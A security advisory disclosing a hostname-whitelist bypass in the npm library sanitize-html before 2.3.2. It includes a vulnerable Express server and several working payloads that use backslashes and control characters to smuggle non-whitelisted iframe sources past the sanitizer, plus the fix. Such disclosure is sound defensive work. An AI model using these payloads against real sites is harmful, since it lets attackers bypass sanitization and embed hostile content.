Validation Bypass In Sanitize-Html Using Protocol Relative URLs

VALIDATION-BYPASS NODEJS JAVASCRIPT NPM

Ron Masas Feb 28, 2021

Details Overview

Summary

Apostrophe Technologies sanitize-html before 2.3.2 does not properly validate the hostnames set by the `allowedIframeHostnames` option when the `allowIframeRelativeUrls` is set to true, which allows attackers to bypass hostname whitelist validation for iframe element.

Product

sanitize-html before 2.3.2

Impact

Depending on library usage and attacker intent, impacts may include allow/block list bypasses, open redirects, or other undesired behavior.

Steps To Reproduce

1. Install vulnerable version by running `npm i sanitize-html@2.3.1`
2. Write the following to a `server.js` file

```
const express = require("express");
const sanitizeHtml = require("sanitize-html");

const app = express();

app.get("/", (req, res) => {
    const clean = sanitizeHtml(req.query.dirty, {
        allowedTags: ['iframe'],
        allowedAttributes: {
          iframe: ['src']
        },
        allowedIframeHostnames: ["www.youtube.com"],
        allowIframeRelativeUrls: true
    });
    res.end(clean);
});

app.listen(8080);
```

3. Start the server and bypass the hostname validation by sending one of the following payloads to `http://localhost:8080/?dirty=[payload]`:

```
/\\checkmarx.com
```

```
\\/checkmarx.com
```

```
const linefeed = decodeURIComponent("%0A");
const payload = '<iframe src="/'+linefeed+'\\checkmarx.com"></iframe>';
```

```
const creturn = decodeURIComponent("%0D");
const payload = '<iframe src="/'+creturn+'\\checkmarx.com"></iframe>';
```

```
const tab = decodeURIComponent("%09");
const payload = '<iframe src="/'+tab+'\\checkmarx.com"></iframe>';
```

Expected Result:

The iframe should load checkmarx.com.

Remediation

Update sanitize-html dependency to 2.3.2 or above.

Credit

This issue was discovered and reported by Security Researcher @ronmasas (Ron Masas).

Resources

1. Pull Request
2. Commit 54851d0